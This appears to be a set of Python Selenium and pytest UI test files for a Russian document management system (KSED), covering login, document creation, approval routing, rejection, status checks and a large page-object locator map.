self.osnSvedeniya.wait_to_be_clickable()
self.osnSvedeniya.click()
self.status_Doc.wait_until_not_visible()
assert "На исполнении" in self.status_Doc.text
```
tk13799.py
```#!/usr/bin/python3
# -*- encoding=utf8 -*-
import time, datetime
from selenium.webdriver.common.by import By
from selenium.webdriver.support.ui import WebDriverWait
from selenium.webdriver.common.action_chains import ActionChains
from selenium.common.exceptions import *
from selenium.webdriver.support import expected_conditions as EC
from selenium.webdriver.common.keys import Keys
from KSED.Pages.PageObject import Locator
from KSED.TestData.data import dataTest
from KSED.TestData.locators import KSEDLocators
import allure
def wait_page_loaded(driver):
time.sleep(2)
page_loaded = False
while not page_loaded:
page_loaded = driver.execute_script("return document.readyState == 'complete';")
time.sleep(0.1)
class KSEDCreatDocPDSoglas(Locator, dataTest, KSEDLocators):
def __init__(self, web_driver, uri=''):
super().__init__(web_driver, uri)
self.get(dataTest.baseURL)
wait_page_loaded(self.w)
@allure.step("Авторизация")
def LogIN(self, username, password):
# wait = WebDriverWait(self.w, 10, poll_frequency=1,
# ignored_exceptions=[NoSuchElementException,
# ElementNotVisibleException,
# ElementNotSelectableException])
page = Locator(self.w)
page.username_text = username
print(Locator.username_text)
page.password_text = password
page.LogIn_button.click()
wait_page_loaded(self.w)
assert "АРМ" in self.w.title
# Открытие документа из прошлого ТК
def getDoc(self):
my_file = open("Tests/linkPD.txt", "r")
my_string = my_file.read()
my_string.strip()
self.w.get(my_string)
my_file.close()
#self.w.get(KSEDLocators.LinkDocRD)
wait_page_loaded(self.w)
# Создание документа (открытие формы создания и заполнение атрибутов)
def Creat(self, ):
# wait = WebDriverWait(self.w, 10, poll_frequency=1,
# ignored_exceptions=[NoSuchElementException,
# ElementNotVisibleException,
# ElementNotSelectableException])
page = Locator(self.w)
wait = WebDriverWait(self.w, 10)
page.newDoc_button.click()
page.proizvDoc.click()
assert "Страница создания документа" in self.w.title
# time.sleep(1)
# Атрибуты документа
# Заголовок
page.title.send_keys(u'Документ')
time.sleep(0.5)
# Вид документа
page.doc_typeInp.send_keys(u'Договор' + Keys.RETURN)
time.sleep(0.5)
# Проработка
self.w.execute_script("arguments[0].scrollIntoView();", page.prorabotka)
page.prorabotka.send_keys(u'Строганов' + Keys.RETURN)
time.sleep(0.5)
# Нормоконтроль
self.w.execute_script("arguments[0].scrollIntoView();", page.normokontrol)
page.normokontrol.send_keys(u'Строганов' + Keys.RETURN)
# Согласование
self.w.execute_script("arguments[0].scrollIntoView();", page.soglasovanie)
page.soglasovanie.send_keys(u'Строганов' + Keys.RETURN)
# Подписание
self.w.execute_script("arguments[0].scrollIntoView();", page.podpisanie)
page.podpisanie.send_keys(u'Главный' + Keys.RETURN)
# Утверждение
self.w.execute_script("arguments[0].scrollIntoView();", page.utverzhdenie)
page.utverzhdenie.send_keys(u'Главный' + Keys.RETURN)
# Ознакомление
self.w.execute_script("arguments[0].scrollIntoView();", page.oznakomlenie)
page.oznakomlenie.send_keys(u'Строганов' + Keys.RETURN)
time.sleep(0.5)
# Кнопка "Создать"
self.w.execute_script("arguments[0].scrollIntoView();", page.btnCreateDoc)
wait.until(EC.element_to_be_clickable((By.XPATH, KSEDLocators.btnCreateDoc)))
page.btnCreateDoc.click()
# wait.until(EC.number_of_windows_to_be(2))
wait_page_loaded(self.w)
# self.w.set_page_load_timeout(30)
# time.sleep(2)
#
# wait.until(EC.title_is(self.w.title))
assert "Документ" in self.w.title
# Добавление вложения
def attachment(self,):
page = Locator(self.w)
wait = WebDriverWait(self.w, 10)
actions = ActionChains(self.w)
actions.move_to_element(page.vlozheniya).perform()
time.sleep(0.5)
page.attachments.click()
time.sleep(0.5)
# wait.until(EC.element_to_be_clickable((By.XPATH, '//div[contains(@id, "default-dialog")]')))
wait.until(EC.element_to_be_clickable((By.XPATH, KSEDLocators.fileUpload)))
page.fileUpload.click()
time.sleep(0.5)
wait.until(EC.presence_of_element_located((By.XPATH, KSEDLocators.files)))
# wait.until(EC.element_to_be_clickable((By.XPATH, '//div[contains(@id, "default-dialog")]')))
page.files.send_keys('C:\\test.txt')
# Направление на согласование и проверка статуса документа
def NapSoglasovanie(self, ):
page = Locator(self.w)
wait = WebDriverWait(self.w, 10)
time.sleep(1)
page.sendFor_approval.click()
time.sleep(1)
page.confirm.click()
wait_page_loaded(self.w)
time.sleep(1)
# Проверим статус документа
wait.until(EC.element_to_be_clickable((By.XPATH, KSEDLocators.osnSvedeniya)))
page.osnSvedeniya.click()
assert "На согласовании" in self.status_Doc.text
```
test_Zaprosi.py
```# #!/bin/sh
# #!/usr/bin/python3
#
# # -*- encoding=utf8 -*-
#
#
#
# # How to run:
#
# #.... python -m pytest -v --driver Chrome --driver-path WebDriver\chromedriver --alluredir ./allure_report
# #.... allure generate ./allure_report && allure open allure-report
# # -s команда вывода всех print в консоль
#
#
#
import pytest
import allure
from KSED.Tests.tk12022 import KSEDallurInDoc
from KSED.Tests.tk12029 import KSEDallurReestr
from KSED.Tests.tk12030 import KSEDallurResolution
from KSED.Tests.tk12011 import KSEDStatAllureVidDic
from KSED.Tests.tk12006 import KSEDallur
from KSED.Tests.tk11677 import KSEDCreateZap
from KSED.Tests.tk11702 import KSEDredZap
from KSED.Tests.tk11742 import KSEDexpZap
from KSED.Tests.tk11744 import KSEDexp_Zap
from KSED.Tests.tk11705 import KSEDdelZap
@pytest.mark.KSED_smoke_test
#@pytest.fixture(scope="session")
def test_11677(web_browser):
""" создание запроса """
page = KSEDCreateZap(web_browser)
LogIn_page = page.LogIN('StroganovSN', 'Changeme!')
@pytest.mark.KSED_smoke_test
#@pytest.fixture(scope="session")
def test_11702(web_browser):
""" редактирование запроса """
page = KSEDredZap(web_browser)
LogIn_page = page.LogIN('StroganovSN', 'Changeme!')
@pytest.mark.KSED_smoke_test
#@pytest.fixture(scope="session")
def test_11742(web_browser):
""" действия с выбранными документами в запросе """
page = KSEDexpZap(web_browser)
LogIn_page = page.LogIN('StroganovSN', 'Changeme!')
@pytest.mark.KSED_smoke_test
#@pytest.fixture(scope="session")
def test_11744(web_browser):
""" экспорт документов """
page = KSEDexp_Zap(web_browser)
LogIn_page = page.LogIN('StroganovSN', 'Changeme!')
@pytest.mark.KSED_smoke_test
#@pytest.fixture(scope="session")
def test_11705(web_browser):
""" удаление запроса """
page = KSEDdelZap(web_browser)
LogIn_page = page.LogIN('StroganovSN', 'Changeme!')
```
decorator.py
```#!/usr/bin/python3
# -*- encoding=utf8 -*-
import time, datetime
from selenium.webdriver.common.by import By
from selenium.webdriver.support.ui import WebDriverWait
from selenium.webdriver.common.action_chains import ActionChains
from selenium.common.exceptions import *
from selenium.webdriver.support import expected_conditions as EC
from selenium.webdriver.common.keys import Keys
from KSED.Pages.PageObject import Locator
from KSED.TestData.data import dataTest
from KSED.TestData.locators import KSEDLocators
import allure
def wait_page_loaded(driver):
time.sleep(2)
page_loaded = False
while not page_loaded:
page_loaded = driver.execute_script("return document.readyState == 'complete';")
time.sleep(0.1)
class decorators(Locator, dataTest, KSEDLocators):
def __init__(self, web_driver, uri=''):
super().__init__(web_driver, uri)
#self.get(dataTest.baseURL)
wait_page_loaded(self.w)
# Выйдем из системы
def USER_LOGOUTs(self, ):
page = Locator(self.w)
wait = WebDriverWait(self.w, 10)
page.user_menu.click()
page.USER_LOGOUT.click()
wait_page_loaded(self.w)
assert "Войти" in self.w.title
def logout(self, function):
def wrapper():
function()
self.USER_LOGOUTs()
# page = Locator(self.w)
#
# wait = WebDriverWait(self.w, 10)
#
# page.user_menu.click()
#
# page.USER_LOGOUT.click()
#
# wait_page_loaded(self.w)
#
# assert "Войти" in self.w.title
return wrapper
# @logout
# def stable():
# print('после')
#print(stable())```
tk11957.py
```#!/usr/bin/python3
# -*- encoding=utf8 -*-
import time, datetime
from selenium.webdriver.common.by import By
from selenium.webdriver.support.ui import WebDriverWait
from selenium.webdriver.common.action_chains import ActionChains
from selenium.common.exceptions import *
from selenium.webdriver.support import expected_conditions as EC
from selenium.webdriver.common.keys import Keys
from KSED.Pages.PageObject import Locator
from KSED.TestData.data import dataTest
from KSED.TestData.locators import KSEDLocators
import allure
def wait_page_loaded(driver):
time.sleep(2)
page_loaded = False
while not page_loaded:
page_loaded = driver.execute_script("return document.readyState == 'complete';")
time.sleep(0.1)
class KSEDPDPodpisanie_Otklon(Locator, dataTest, KSEDLocators):
def __init__(self, web_driver, uri=''):
super().__init__(web_driver, uri)
self.get(dataTest.baseURL)
wait_page_loaded(self.w)
@allure.step("Авторизация")
def LogIN(self, username, password):
# wait = WebDriverWait(self.w, 10, poll_frequency=1,
# ignored_exceptions=[NoSuchElementException,
# ElementNotVisibleException,
# ElementNotSelectableException])
page = Locator(self.w)
page.username_text = username
print(Locator.username_text)
page.password_text = password
page.LogIn_button.click()
wait_page_loaded(self.w)
# assert "АРМ" in self.w.title
# Открытие документа из прошлого ТК
def getDoc(self):
my_file = open("Tests/linkPD.txt", "r")
my_string = my_file.read()
my_string.strip()
self.w.get(my_string)
my_file.close()
#self.w.get(KSEDLocators.LinkDocRD)
wait_page_loaded(self.w)
def Podpisanie_Otklon(self, ):
page = Locator(self.w)
wait = WebDriverWait(self.w, 10)
WebDriverWait(self.w, 10).until(EC.element_to_be_clickable((By.XPATH, KSEDLocators.REJECTED_button)))
page.REJECTED_button.click()
page.prop_bpm_comment.send_keys('я так хотю')
page.apply_button_button.click()
wait_page_loaded(self.w)
# Проверим статус документа
WebDriverWait(self.w, 10).until(EC.element_to_be_clickable((By.XPATH, KSEDLocators.osnSvedeniya)))
page.osnSvedeniya.click()
assert "На доработке" in self.status_Doc.text
```
test_metods.py
```
# Наведение
# self.vlozheniya.move_to_element()
# self.attachments.wait_to_be_clickable()
# self.attachments.click()
# Ожидание и нажатие на кнопку
# self.dropBtn_2.scroll_to_element()
# self.dropBtn_2.wait_to_be_clickable()
# self.dropBtn_2.click()
# обновить страницу
# self.get(self._web_driver.current_url)
# ожидание пока не пропадет "Загрузка"
#self.wait_page_loaded(wait_for_xpath_to_disappear='//div[@id = "message"]//span[@class = "wait"]')
# Проверка появилась ли кнопка
# try:
# self.btnRejectInnerSogl.wait_to_be_clickable()
# except:
# assert False, 'Кнопка не появилась'```
data.py
```
class dataTest:
# baseURL = 'http://172.30.48.50:8080/share/page/arm?code=SED' # Базовый URL
# baseURL = 'http://172.30.48.48:8080/share/page/arm?code=SED' # Базовый URL
baseURL = 'http://172.30.48.40:8080/share/page/arm?code=SED' # Базовый URL
#baseURL = 'http://172.30.48.49:8080/share/page/arm?code=SED' # Базовый URL
#baseURL = 'http://172.30.48.41:8000/share/page/arm?code=SED'
BARCODE = '5387445' #469958, ШК документа, для поиска и добавления документов( например при создании реестра нужен ШК дока)
```
pages.py
```
#!/usr/bin/python3
# -*- encoding=utf8 -*-
# TODO: write article about __elements nasledovanie hack.
# TODO: switch to iframe
# TODO: overlapping elements ???
# TODO: add right click
import time
from KSED.elements import WebElement, ManyWebElements
from selenium.webdriver.common.by import By
from selenium.webdriver.support.ui import WebDriverWait
from selenium.webdriver.support import expected_conditions as EC
#from utils import KNOWN_JS_ISSUES
from termcolor import colored
from KSED.TestData.locators import KSEDLocators
class WebPage(object):
_web_driver = 'my web driver'
def __init__(self, web_driver, url=''):
self._web_driver = web_driver
self.get(url)
def __setattr__(self, name, value):
if not name.startswith('_'):
self.__getattribute__(name)._set_value(self._web_driver, value)
else:
super(WebPage, self).__setattr__(name, value)
def __getattribute__(self, item):
attr = object.__getattribute__(self, item)
if not item.startswith('_') and not callable(attr):
attr._web_driver = self._web_driver
return attr
def get(self, url):
self._web_driver.get(url)
self.wait_page_loaded()
def go_back(self):
self._web_driver.back()
self.wait_page_loaded()
def refresh(self):
self._web_driver.refresh()
self.wait_page_loaded()
def screenshot(self, file_name='screenshot.png'):
self._web_driver.screenshot(file_name)
def scroll_down(self, offset=0):
""" Scroll the page down. """
if offset:
self._web_driver.execute_script('window.scrollTo(0, {0});'.format(offset))
else:
self._web_driver.execute_script('window.scrollTo(0, document.body.scrollHeight);')
def scroll_up(self, offset=0):
""" Scroll the page up. """
if offset:
self._web_driver.execute_script('window.scrollTo(0, -{0});'.format(offset))
else:
self._web_driver.execute_script('window.scrollTo(0, -document.body.scrollHeight);')
def switch_to_iframe(self, iframe):
""" Switch to iframe by it's name. """
self._web_driver.switch_to.frame(iframe)
def switch_out_iframe(self):
""" Cancel iframe focus. """
self._web_driver.switch_to.default_content()
def get_current_url(self):
""" Returns current browser URL. """
return self._web_driver.current_url
def get_page_source(self):
""" Returns current page body. """
source = ''
try:
source = self._web_driver.page_source
except:
print(colored('Con not get page source', 'red'))
return source
def check_js_errors(self, ignore_list=None):
""" This function checks JS errors on the page. """
ignore_list = ignore_list or []
logs = self._web_driver.get_log('browser')
for log_message in logs:
if log_message['level'] != 'WARNING':
ignore = False
for issue in ignore_list:
if issue in log_message['message']:
ignore = True
break
assert ignore, 'JS error "{0}" on the page!'.format(log_message)
def wait_page_loaded(self, timeout=60, check_js_complete=True,
check_page_changes=True, check_images=False,
wait_for_element=None,
wait_for_xpath_to_disappear='',
long_sleep=2):
""" This function waits until the page will be completely loaded.
We use many different ways to detect is page loaded or not:
1) Check JS status
2) Check modification in source code of the page
3) Check that all images uploaded completely
(Note: this check is disabled by default)
4) Check that expected elements presented on the page
"""
page_loaded = False
double_check = False
k = 0
if long_sleep:
time.sleep(long_sleep)
# Get source code of the page to track changes in HTML:
source = ''
try:
source = self._web_driver.page_source
except:
pass
# Wait until page loaded (and scroll it, to make sure all objects will be loaded):
while not page_loaded:
time.sleep(0.5)
k += 1
if check_js_complete:
# Scroll down and wait when page will be loaded:
try:
self._web_driver.execute_script('window.scrollTo(0, document.body.scrollHeight);')
page_loaded = self._web_driver.execute_script("return document.readyState == 'complete';")
except:
pass
if page_loaded and check_page_changes:
# Check if the page source was changed
new_source = ''
try:
new_source = self._web_driver.page_source
except:
pass
page_loaded = new_source == source
source = new_source
# Wait when some element will disappear:
if page_loaded and wait_for_xpath_to_disappear:
bad_element = None
try:
bad_element = WebDriverWait(self._web_driver, 0.1).until(
EC.presence_of_element_located((By.XPATH, wait_for_xpath_to_disappear))
)
except:
pass # Ignore timeout errors
page_loaded = not bad_element
if page_loaded and wait_for_element:
try:
page_loaded = WebDriverWait(self._web_driver, 0.1).until(
EC.element_to_be_clickable(wait_for_element._locator)
)
except:
pass # Ignore timeout errors
assert k < timeout, 'The page loaded more than {0} seconds!'.format(timeout)
# Check two times that page completely loaded:
if page_loaded and not double_check:
page_loaded = False
double_check = True
# Go up:
self._web_driver.execute_script('window.scrollTo(document.body.scrollHeight, 0);')
class MPages(WebPage):
melements = WebElement(xpath='//div[contains(@class, "shown")]//span[contains(text(), "Отчеты по исполнительской дисциплине")]')
m2elements = WebElement(xpath='//a[contains(text(), "Состояние исполнения резолюций")]')
# Форма авторизации
username_text = WebElement(name=KSEDLocators.username_text) # Логин
password_text = WebElement(name=KSEDLocators.password_text) # Пароль
LogIn_button = WebElement(xpath=KSEDLocators.LogIn_button) # Кнопка "Войти"
# *******СТРОКА МЕНЮ*******
ksed = WebElement(xpath=KSEDLocators.ksed) #xpath # КСЭД
barcode_search = WebElement(id_=KSEDLocators.barcode_search) #id # Поиск по ШК
search_bc = WebElement(xpath=KSEDLocators.search_bc) # Строка поиска по ШК
more_menu = WebElement(id_=KSEDLocators.more_menu)# Меню "Ещё"
ksed_in_more_m = WebElement(id_=KSEDLocators.ksed_in_more_m) # КСЭД в меню "Ещё"
Company_dir = WebElement(xpath=KSEDLocators.Company_dir) # Справочник организации
admin = WebElement(xpath=KSEDLocators.admin) # Администрирование
transfer = WebElement(xpath=KSEDLocators.transfer) # Передача дел
arm_arh = WebElement(xpath=KSEDLocators.arm_arh) # АРМ Архивное дело
verify = WebElement(xpath=KSEDLocators.verify) # Верификация
scanner = WebElement(xpath=KSEDLocators.scanner) # Работа со сканером ШК
notification = WebElement(id_=KSEDLocators.notification) # Уведомления
notificationProtokol = WebElement(xpath=KSEDLocators.notificationProtokol) # Первое в списке уведомление о протоколе
notificationFirst = WebElement(xpath=KSEDLocators.notificationFirst) # id # Уведомление первое в списке
# *******МЕНЮ ПОЛЬЗОВАТЕЛЯ*******
user_menu = WebElement(xpath=KSEDLocators.user_menu) # Меню пользователя
USER_LOGOUT = WebElement(xpath=KSEDLocators.USER_LOGOUT) # Выход из системы
my_profile = WebElement(xpath=KSEDLocators.my_profile) # Пункт меню "Мой профиль"
fieldlabel = WebElement(xpath=KSEDLocators.fieldlabel) # Должность в области краткой информации
btnEdit_profile = WebElement(xpath=KSEDLocators.btnEdit_profile) # Кнопка "Изменить профиль"
inputPosition = WebElement(xpath=KSEDLocators.inputPosition) # Поле ввода должности
logic_ESM = WebElement(xpath=KSEDLocators.logic_ESM) # Пункт меню "Логика ECM. Мой профиль"
autoAnswerText = WebElement(name=KSEDLocators.autoAnswerText) # Текст автоответа (Меня нет в офисе)
btnCancelAbsence = WebElement(xpath=KSEDLocators.btnCancelAbsence) # Кнопка "Отменить отсутствие"
btnYes = WebElement(xpath=KSEDLocators.btnYes) # Кнопка "Да" (отменить отсутствие)
edit_password = WebElement(xpath=KSEDLocators.edit_password) # Пункт меню "Изменить пароль"
inputOldPassword = WebElement(xpath=KSEDLocators.inputOldPassword) # Введите старый пароль
inputNewPassword1 = WebElement(xpath=KSEDLocators.inputNewPassword1) # Введите старый пароль
inputNewPassword2 = WebElement(xpath=KSEDLocators.inputNewPassword2) # Введите старый пароль
btnOKchange = WebElement(xpath=KSEDLocators.btnOKchange) # Кнопка "Изменить пароль"
# *******ЛЕВАЯ ЧАСТЬ СТРАНИЦЫ (Кнопка "Создать" и разделы)*******
newDoc_button = WebElement(xpath=KSEDLocators.newDoc_button) # "Создать"
protocol = WebElement(xpath=KSEDLocators.protocol) # Протокол
rd = WebElement(xpath=KSEDLocators.rd) # РД
reestr = WebElement(xpath=KSEDLocators.reestr) # Реестр
poruchenie = WebElement(xpath=KSEDLocators.poruchenie) # Поручение
cardSogl = WebElement(xpath=KSEDLocators.cardSogl) # Карточка согласования
resolution = WebElement(xpath=KSEDLocators.resolution) # Резолюция
SZ = WebElement(xpath=KSEDLocators.SZ) # Служебная записка
proizvDoc = WebElement(xpath=KSEDLocators.proizvDoc) # Произвольный документ
paket_vh = WebElement(xpath=KSEDLocators.paket_vh) #Пакет Вх. кор.
vhDoc = WebElement(xpath=KSEDLocators.vhDoc) # Входящий документ
ishDoc = WebElement(xpath=KSEDLocators.ishDoc) # Исходящий документ
# РАЗДЕЛЫ
myWork = WebElement(xpath=KSEDLocators.myWork) # Моя работа
expedition = WebElement(xpath=KSEDLocators.expedition) # Экспедиция
navigation = WebElement(xpath=KSEDLocators.navigation) # Навигатор
allur = WebElement(xpath=KSEDLocators.allur) # Отчеты
workReg = WebElement(xpath=KSEDLocators.workReg) # Работа регистратора
medo = WebElement(xpath=KSEDLocators.medo) # МЭДО
mySearch = WebElement(xpath=KSEDLocators.mySearch) # Мои поисковые запросы
poiskzapr = WebElement(xpath=KSEDLocators.poiskzapr) # Поисковые запросы
myPoiskZapr = WebElement(xpath=KSEDLocators.myPoiskZapr) # Поисковые запросы
ControlZapr = WebElement(xpath=KSEDLocators.ControlZapr) # Упарвление поисковыми запросами
btnPlus = WebElement(xpath=KSEDLocators.btnPlus) # кнопка развернуть в моих запросах
# ОБЛАСТЬ ПРОСМОТРА (КСЭД)
oblProsm = WebElement(xpath=KSEDLocators.oblProsm) # Область просмотра
oneDocInList = WebElement(xpath=KSEDLocators.oneDocInList) # Первый документ в списке
nineDocInList = WebElement(xpath=KSEDLocators.nineDocInList) # Девятый документ в списке
subordinate = ManyWebElements(xpath=KSEDLocators.subordinate) # "+" раскрытие подчиненные документы
oneSubordInList = WebElement(xpath=KSEDLocators.oneSubordInList) # Первая ссылка на подчиненный документ
ActionTab = WebElement(xpath=KSEDLocators.ActionTab) # Кнопка "Действия с выбранными"
chBinOnl = WebElement(xpath=KSEDLocators.chBinOnl)
# Моя работа
WorkImmid = WebElement(xpath=KSEDLocators.WorkImmid) # xpath # Моя работа - срочные
connectedDoc = WebElement(xpath=KSEDLocators.connectedDoc) # xpath # связанные документы
# ОТЧЕТЫ
section_allur = WebElement(xpath=KSEDLocators.section_allur) # Раздел "Отчеты"
node_Logs = WebElement(xpath=KSEDLocators.node_Logs) # "Журналы"
node_Statis = WebElement(xpath=KSEDLocators.node_Statis) # "Статистические отчеты"
edsBykindStat = WebElement(xpath=KSEDLocators.edsBykindStat) # Отчет "Сводка по видам документов"
node_ispDisp = WebElement(xpath=KSEDLocators.node_ispDisp) #
logs_incDoc = WebElement(xpath=KSEDLocators.logs_incDoc)
incomingRegJournal = WebElement(xpath=KSEDLocators.incomingRegJournal) # Отчет "Журнал регистрации входящих документов"
logs_outDoc = WebElement(xpath=KSEDLocators.logs_outDoc)
outgoingRegistration = WebElement(xpath=KSEDLocators.outgoingRegistration) # Отчет "Журнал регистрации исходящих документов"
logs_raspDoc = WebElement(xpath=KSEDLocators.logs_raspDoc)
ordRegJournal = WebElement(xpath=KSEDLocators.ordRegJournal) # Отчет "Журнал регистрации Распорядительных документов"
logs_sluDoc = WebElement(xpath=KSEDLocators.logs_sluDoc)
internalRegJournal = WebElement(xpath=KSEDLocators.internalRegJournal) # Отчет "Журнал регистрации служебных записок"
stat_specDoc = WebElement(xpath=KSEDLocators.stat_specDoc)
stat_temDoc = WebElement(xpath=KSEDLocators.stat_temDoc)
edsBySubjectStat = WebElement(xpath=KSEDLocators.edsBySubjectStat) # Отчет "Сводка по тематикам документов"
stat_temDocO = WebElement(xpath=KSEDLocators.stat_temDocO)
edsBySubjectStatO = WebElement(xpath=KSEDLocators.edsBySubjectStatO) # Отчет "Сводка по тематикам документов(объед)"
stat_tipDoc = WebElement(xpath=KSEDLocators.stat_tipDoc)
edByTypeStat = WebElement(xpath=KSEDLocators.edByTypeStat) # Отчет "Сводка по типам документов"
allu_ispIncDoc = WebElement(xpath=KSEDLocators.allu_ispIncDoc)
allu_raspDoc = WebElement(xpath=KSEDLocators.allu_raspDoc)
allu_sluDoc = WebElement(xpath=KSEDLocators.allu_sluDoc)
allu_ispDis = WebElement(xpath=KSEDLocators.allu_ispDis)
allu_ispDispA = WebElement(xpath=KSEDLocators.allu_ispDispA)
allu_NispDI = WebElement(xpath=KSEDLocators.allu_NispDI)
allu_NispDIrg = WebElement(xpath=KSEDLocators.allu_NispDIrg)
allu_istS = WebElement(xpath=KSEDLocators.allu_istS)
allu_narS = WebElement(xpath=KSEDLocators.allu_narS)
allu_prodIsp = WebElement(xpath=KSEDLocators.allu_prodIsp)
allu_prodPodr = WebElement(xpath=KSEDLocators.allu_prodPodr)
allu_ReesContr = WebElement(xpath=KSEDLocators.allu_ReesContr)
allu_ReesContrN = WebElement(xpath=KSEDLocators.allu_ReesContrN)
allu_ReesContrF = WebElement(xpath=KSEDLocators.allu_ReesContrF)
allu_SostIspR = WebElement(xpath=KSEDLocators.allu_SostIspR)
# *******РАБОТА С ДОКУМЕНТАМИ*******
# ОБЩИЕ АТРИБУТЫ
#(форма создания документа)
title = WebElement(name=KSEDLocators.title) # Заголовок
category_doc = WebElement(xpath=KSEDLocators.category_doc) # Категория документа
doc_type = WebElement(xpath=KSEDLocators.doc_type) # Вид документа(кнопка выбора)
doc_typeInp = WebElement(xpath=KSEDLocators.doc_typeInp) # Вид документа(поле ввода)
btnOKDT = WebElement(xpath=KSEDLocators.btnOKDT) # Вид документа (кнопка "ОК")
podpisant = WebElement(xpath=KSEDLocators.podpisant) # Подписант(ы)
sposob_dost = WebElement(xpath=KSEDLocators.sposob_dost) # Способ доставки
btnCreateDoc = WebElement(xpath=KSEDLocators.btnCreateDoc) # Кнопка "Создать"
adresat = WebElement(xpath=KSEDLocators.adresat) # Адресат
korrespondent = WebElement(xpath=KSEDLocators.korrespondent) # Корреспондент
# (карточка документа)
attachments = WebElement(xpath=KSEDLocators.attachments) # # Переход во вкладку "Вложения"
vlozheniya = WebElement(xpath=KSEDLocators.vlozheniya) # Вложения (раскрытие раздела)
remarks = WebElement(xpath=KSEDLocators.remarks) # замечания
remarksBtn = WebElement(xpath=KSEDLocators.remarksBtn) # замечания
osnSvedeniya = WebElement(xpath=KSEDLocators.osnSvedeniya) # Основные сведения (раскрытие раздела)
printForm = WebElement(xpath=KSEDLocators.printForm)# Печатные формы (раскрытие раздела)
printBarCode = WebElement(xpath=KSEDLocators.printBarCode) #Печатная форма штрих кода документа
btnPrintInPrintForm = WebElement(id_=KSEDLocators.btnPrintInPrintForm)# Кнопка печати в окне печатной формы
btnOKpodpis = WebElement(xpath=KSEDLocators.btnOKpodpis) # Кнопка ОК подтверждение подписания
mode = WebElement(xpath=KSEDLocators.mode) # Переключение в двупанельный вид
fileUpload = WebElement(xpath=KSEDLocators.fileUpload) # Загрузить файл
fileUpload2 = WebElement(xpath=KSEDLocators.fileUpload2) # Загрузить файл в поручении
fileUpload3 = WebElement(xpath=KSEDLocators.fileUpload3) # Загрузить файл в поручении
fileUpload4 = WebElement(xpath=KSEDLocators.fileUpload4) # Загрузить файл в поручении
files = WebElement(xpath=KSEDLocators.files) # Выберите файлы
show = WebElement(xpath=KSEDLocators.show) # Показать общую карточка
dropBtn = WebElement(xpath=KSEDLocators.dropBtn) # Кнопка выпадающего списка
dropBtn_2 = WebElement(xpath=KSEDLocators.dropBtn_2) # Кнопка выпадающего списка
resultSogl = WebElement(xpath=KSEDLocators.resultSogl) # Результат согласования
show_list = WebElement(xpath=KSEDLocators.show_list)# Показать ввиде списка
btnPrint = WebElement(xpath=KSEDLocators.btnPrint) # Кнопка печати в форме предварительного просмотра вложения
soglasovanieWkladka = WebElement(xpath=KSEDLocators.soglasovanieWkladka) # Вкладка "Согласование"
soglasovanieWkladka2 = WebElement(xpath=KSEDLocators.soglasovanieWkladka2) # Вкладка "Согласование"
createRuleBtn = WebElement(xpath=KSEDLocators.createRuleBtn) # Кнопка "Создать маршрут"
createRuleIndivid = WebElement(xpath=KSEDLocators.createRuleIndivid) # "Индивидуальный маршрут"
addEtap = WebElement(xpath=KSEDLocators.addEtap) # Кнопка "Добавить этап"
tipeEtap = WebElement(xpath=KSEDLocators.tipeEtap) # "Вид этапа"
soglasuychie = WebElement(xpath=KSEDLocators.soglasuychie) # "Согласующие"
btnOKformSogl = WebElement(xpath=KSEDLocators.btnOKformSogl) # Кнопка "ОК" на форме добавления этапа согласования
punkti = WebElement(xpath=KSEDLocators.punkti) # Вкладка "Пункты"
punktiBtn = WebElement(xpath=KSEDLocators.punktiBtn) # Кнопка "Пункты"
punktPoruch = WebElement(xpath=KSEDLocators.punktPoruch) # Пункт/Поручение
textPoruch = WebElement(xpath=KSEDLocators.textPoruch) # Текст поручения
tipPoruch = WebElement(xpath=KSEDLocators.tipPoruch) # Тип поручения
otvetstv_ispolnVpunktah = WebElement(xpath=KSEDLocators.otvetstv_ispolnVpunktah) # Ответственный исполнитель в пунктах карточки документа
srokIspoln = WebElement(xpath=KSEDLocators.srokIspoln) # Срок исполнения (среднее знач)
btnOKform = WebElement(xpath=KSEDLocators.btnOKform) # Кнопка ОК на форме
sendFor_approval = WebElement(xpath=KSEDLocators.sendFor_approval) # Действие "Направить на согласование"
sendFor_podpis = WebElement(xpath=KSEDLocators.sendFor_podpis) # Действие "Направить на подписание"
sendFor_execution = WebElement(xpath=KSEDLocators.sendFor_execution) # Действие "Направить на исполнение"
btnOKnaprNaIspoln = WebElement(xpath=KSEDLocators.btnOKnaprNaIspoln) # Кнопка "ОК" на форме подтверждения действия "Направить на исполнение"
confirm = WebElement(xpath=KSEDLocators.confirm) # Подтверждение согласования
confirm2 = WebElement(xpath=KSEDLocators.confirm2) # Подтверждение согласования
confirm_3 = WebElement(xpath=KSEDLocators.confirm_3) # Подтверждение согласования
confirm_4 = WebElement(xpath=KSEDLocators.confirm_4) # Подтверждение согласования
confirm_5 = WebElement(xpath=KSEDLocators.confirm_5) # Подтверждения выбора
confirm_6 = WebElement(xpath=KSEDLocators.confirm_6) # Подтверждения выбора
confirm_7 = WebElement(xpath=KSEDLocators.confirm_7) # Подтверждения выбора
confirm_8 = WebElement(xpath=KSEDLocators.confirm_8) # Подтверждения выбора
confirm_9 = WebElement(xpath=KSEDLocators.confirm_9) # Подтверждения выбора
btnTree = WebElement(xpath=KSEDLocators.btnTree) # Кнопка ...
btnSelection3 = WebElement(xpath=KSEDLocators.btnSelection3) # Кнопка 3 выбора
btnSelection_3 = WebElement(xpath=KSEDLocators.btnSelection_3) # Кнопка 3 выбора
btnSelection_4 = WebElement(xpath=KSEDLocators.btnSelection_4) # Кнопка 3 выбора
btnSelection_1 = WebElement(xpath=KSEDLocators.btnSelection_1) # Кнопка 1 выбор
btnSelection1 = WebElement(xpath=KSEDLocators.btnSelection1) # Кнопка 1 выбор
btnSelection_5 = WebElement(xpath=KSEDLocators.btnSelection_5) # Кнопка 27 выбор
status_Doc = WebElement(xpath=KSEDLocators.status_Doc) # Статус документа во вкладке (Основные сведения)
status_Doc_1 = WebElement(xpath=KSEDLocators.status_Doc_1) # Статус документа во вкладке (Основные сведения)
#"Отправить отчет"
actionSendAllere = WebElement(xpath=KSEDLocators.actionSendAllere) # "Отправить отчет" действие
btnSend = WebElement(xpath=KSEDLocators.btnSend) # Кнопка "Отправить"
textAllur = WebElement(xpath=KSEDLocators.textAllur) # Текстовое поле "Текст отчета"
btnAddSvyz = WebElement(xpath=KSEDLocators.btnAddSvyz) # Кнопка добавления связи "..."
searchDoc = WebElement(xpath=KSEDLocators.searchDoc) # Строка поиска в форме подбора
oneListEl = WebElement(xpath=KSEDLocators.oneListEl) # Первый элемент в списке справочника
